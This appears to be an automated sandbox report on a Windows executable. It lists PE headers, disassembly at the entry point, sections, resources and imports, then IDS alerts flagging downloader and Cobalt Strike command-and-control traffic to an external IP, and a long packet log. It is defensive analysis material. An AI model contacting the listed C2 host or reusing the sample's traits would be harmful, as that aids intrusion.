Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x672B2266 [Wed Nov 6 08:01:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	40fa9cd20812bab5129ef85091bfbdac

Entrypoint Preview

Instruction
call 00007F1F1D259D41h
jmp 00007F1F1D2596AFh
push ebp
mov ebp, esp
push 00000000h
call dword ptr [00404038h]
push dword ptr [ebp+08h]
call dword ptr [0040406Ch]
push C0000409h
call dword ptr [00404034h]
push eax
call dword ptr [0040403Ch]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call 00007F1F1D25A2EAh
test eax, eax
je 00007F1F1D259837h
push 00000002h
pop ecx
int 29h
mov dword ptr [00406330h], eax
mov dword ptr [0040632Ch], ecx
mov dword ptr [00406328h], edx
mov dword ptr [00406324h], ebx
mov dword ptr [00406320h], esi
mov dword ptr [0040631Ch], edi
mov word ptr [00406348h], ss
mov word ptr [0040633Ch], cs
mov word ptr [00406318h], ds
mov word ptr [00406314h], es
mov word ptr [00406310h], fs
mov word ptr [0040630Ch], gs
pushfd
pop dword ptr [00406340h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [00406334h], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00406338h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [00406344h], eax
mov eax, dword ptr [ebp-00000324h]
mov dword ptr [00406280h], 00010001h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4d0c	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7000	0x361b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3e000	0x400	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4450	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x44c0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4000	0x230	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2ecb	0x3000	5d06f4206746907c833a2481f65088c1	False	0.5750325520833334	COM executable for DOS	6.300274659901053	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x4000	0x1a08	0x1c00	1e97f3d49e555f25c36fe5d37cfead01	False	0.39620535714285715	data	4.65454105213308	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x6000	0x738	0x400	2ceacc7ad5a855df52932a54a33adc4d	False	0.259765625	data	3.3218316032948274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7000	0x361b8	0x36200	74bdbba1f539597c017848daa85523b5	False	0.14270893475750576	data	4.0626831582612635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3e000	0x400	0x400	b6b1b20025ba3ae165aea709cabb8ef5	False	0.912109375	data	6.464420599581639	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x1e170	0x1ed70	Device independent bitmap graphic, 205 x 205 x 24, image size 126280, resolution 2835 x 2835 px/m	English	United States	0.1544094363521216
RT_ICON	0x75e0	0x115a	PNG image data, 256 x 256, 8-bit colormap, non-interlaced	English	United States	0.33340837460603334
RT_ICON	0x8740	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.09408315565031983
RT_ICON	0x95e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.11507220216606498
RT_ICON	0x9e90	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.12427745664739884
RT_ICON	0xa3f8	0x90b	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.791792656587473
RT_ICON	0xad08	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.03235710911667454
RT_ICON	0xef30	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.04595435684647303
RT_ICON	0x114d8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.075046904315197
RT_ICON	0x12580	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.15070921985815602
RT_ICON	0x12a70	0x115a	PNG image data, 256 x 256, 8-bit colormap, non-interlaced	English	United States	0.33340837460603334
RT_ICON	0x13bd0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.09408315565031983
RT_ICON	0x14a78	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.11507220216606498
RT_ICON	0x15320	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.12427745664739884
RT_ICON	0x15888	0x90b	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.791792656587473
RT_ICON	0x16198	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.03235710911667454
RT_ICON	0x1a3c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.04595435684647303
RT_ICON	0x1c968	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.075046904315197
RT_ICON	0x1da10	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.15070921985815602
RT_MENU	0x1df00	0x4a	data	English	United States	0.8648648648648649
RT_DIALOG	0x1df60	0x100	data	English	United States	0.62890625
RT_DIALOG	0x1e060	0x10c	data	English	United States	0.6492537313432836
RT_STRING	0x3cee0	0x50	data	English	United States	0.75
RT_ACCELERATOR	0x1df50	0x10	data	English	United States	1.25
RT_GROUP_ICON	0x129e8	0x84	data	English	United States	0.6590909090909091
RT_GROUP_ICON	0x1de78	0x84	data	English	United States	0.6515151515151515
RT_MANIFEST	0x3cf30	0x286	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5479876160990712

Imports

DLL	Import
KERNEL32.dll	FlsSetValue, CreateFileA, CloseHandle, K32GetModuleInformation, GetModuleHandleA, GetConsoleWindow, lstrcpyW, CreateFileMappingW, MapViewOfFile, GetCurrentProcess, SetUnhandledExceptionFilter, TerminateProcess, FreeLibrary, VirtualAlloc, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, UnhandledExceptionFilter, FlsAlloc, VirtualProtect
USER32.dll	ShowWindow, LoadStringW, RegisterClassExW, GetMessageW, DefWindowProcW, DestroyWindow, CreateWindowExW, SendMessageW, EndDialog, DispatchMessageW, EndPaint, BeginPaint, SetTimer, TranslateAcceleratorW, TranslateMessage, LoadIconW, LoadCursorW, GetDlgItem, UpdateWindow, KillTimer, PostQuitMessage, DialogBoxParamW, LoadAcceleratorsW
ADVAPI32.dll	GetUserNameW
SHELL32.dll	Shell_NotifyIconW
MSVCP140.dll	_Mtx_destroy, _Mtx_unlock, _Cnd_init, _Query_perf_frequency, _Xtime_get_ticks, _Thrd_detach, _Query_perf_counter, _Thrd_start, _Mtx_init, _Cnd_wait, _Thrd_sleep, _Cnd_destroy, _Cnd_signal, _Cnd_do_broadcast_at_thread_exit, ?_Throw_Cpp_error@std@@YAXH@Z, ?_Xout_of_range@std@@YAXPBD@Z, ?_Xbad_function_call@std@@YAXXZ, ?_Throw_C_error@std@@YAXH@Z, ?_Xlength_error@std@@YAXPBD@Z, _Mtx_lock
WS2_32.dll	WSACleanup, recv, htons, gethostbyname, WSAStartup, inet_addr, gethostbyaddr, send, socket, connect, closesocket
CRYPT32.dll	CertEnumSystemStore
VCRUNTIME140.dll	__CxxFrameHandler3, __std_terminate, strstr, __std_exception_copy, memchr, _CxxThrowException, memset, _except_handler4_common, memcpy, __std_exception_destroy, memmove
api-ms-win-crt-heap-l1-1-0.dll	realloc, malloc, _callnewh, free, _set_new_mode
api-ms-win-crt-string-l1-1-0.dll	strncat, strncpy
api-ms-win-crt-runtime-l1-1-0.dll	_configure_wide_argv, _register_onexit_function, _cexit, _crt_atexit, _controlfp_s, _c_exit, _set_app_type, _seh_filter_exe, _exit, exit, _register_thread_local_exe_atexit_callback, _initterm, _initterm_e, _invalid_parameter_noinfo_noreturn, _get_wide_winmain_command_line, _initialize_onexit_table, _initialize_wide_environment, terminate
api-ms-win-crt-stdio-l1-1-0.dll	__stdio_common_vsprintf, _set_fmode, __p__commode
api-ms-win-crt-convert-l1-1-0.dll	wcstombs_s
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T22:45:43.281672+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49704	3.79.209.76	80	TCP
2024-12-19T22:47:44.887661+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49938	3.79.209.76	80	TCP
2024-12-19T22:47:48.218861+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.5	49946	TCP
2024-12-19T22:48:03.798139+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.5	49979	TCP
2024-12-19T22:48:15.611444+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.5	49980	TCP
2024-12-19T22:48:29.363989+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.5	49981	TCP
2024-12-19T22:48:46.486255+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.5	49982	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 22:45:41.904642105 CET	49704	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:45:42.024364948 CET	80	49704	3.79.209.76	192.168.2.5
Dec 19, 2024 22:45:42.024465084 CET	49704	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:45:42.024553061 CET	49704	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:45:42.144144058 CET	80	49704	3.79.209.76	192.168.2.5
Dec 19, 2024 22:45:43.281513929 CET	80	49704	3.79.209.76	192.168.2.5
Dec 19, 2024 22:45:43.281554937 CET	80	49704	3.79.209.76	192.168.2.5
Dec 19, 2024 22:45:43.281672001 CET	49704	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:45:43.282568932 CET	49704	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:45:43.402231932 CET	80	49704	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:43.507879972 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:43.627635002 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:43.627738953 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:43.627811909 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:43.747648001 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:44.887485981 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:44.887603998 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:44.887646914 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:44.887660980 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:44.888118982 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:44.888154030 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:44.888166904 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:44.888190031 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:44.888238907 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:44.888925076 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:44.888961077 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:44.888993979 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:44.889003992 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:44.889637947 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:44.889688969 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.007430077 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.007468939 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.007617950 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.011441946 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.063981056 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.079766035 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.079900026 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.079960108 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.084041119 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.084161043 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.084223986 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.092382908 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.092457056 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.092514992 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.100749016 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.100876093 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.100930929 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.109147072 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.109258890 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.109308004 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.117803097 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.117940903 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.117993116 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.126063108 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.126188993 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.126240015 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.134381056 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.134538889 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.134584904 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.142792940 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.142898083 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.142950058 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.151216030 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.151361942 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.151411057 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.183630943 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.183698893 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.183737993 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.199599028 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.199687958 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.199733973 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.271909952 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.272066116 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.272119045 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.274226904 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.274322033 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.274374008 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.277928114 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.278059006 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.278106928 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.282779932 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.282915115 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.282965899 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.287642002 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.287695885 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.287741899 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.292335033 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.292460918 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.292511940 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.297240019 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.297352076 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.297468901 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.301971912 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.302056074 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.302105904 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.306715012 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.307071924 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.307117939 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.311532021 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.311585903 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.311635017 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.316378117 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.316474915 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.316538095 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.321089983 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.321191072 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.321243048 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.325946093 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.326004028 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.326209068 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.330668926 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.330826044 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.330933094 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.334486008 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.334585905 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.334633112 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.338354111 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.338449001 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.338502884 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.342106104 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.342223883 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.342269897 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.345961094 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.346065998 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.346121073 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.349770069 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.349852085 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.349898100 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.353539944 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.353648901 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.353694916 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.357379913 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.357548952 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.357673883 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.361239910 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.361373901 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.361419916 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.391722918 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.391804934 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.391865015 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.393600941 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.393762112 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.393918037 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.463993073 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.464128971 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.464251995 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.464251995 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.465456963 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.465586901 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.465640068 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.468436956 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.468555927 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.468611956 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.471378088 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.471533060 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.471611977 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.474349022 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.474457979 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.474513054 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.477266073 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.477325916 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.477405071 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.479980946 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.480103016 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.480149984 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.482764006 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.482780933 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.482825041 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.485513926 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.485716105 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.485754967 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.488004923 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.488080978 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.488123894 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.490576982 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.490684032 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.490731955 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.493122101 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.493284941 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.493339062 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.495790005 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.495872974 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.495923042 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.498251915 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.498429060 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.498471975 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.500945091 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.501061916 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.501108885 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.503437042 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.503568888 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.503612995 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.506004095 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.506262064 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.506402969 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.508615971 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.508795023 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.508846998 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.511182070 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.511344910 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.511394024 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.513772011 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.513874054 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.513957024 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.516335011 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.516415119 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.516463995 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.518857002 CET	80	49938	3.79.209.76	192.168.2.5
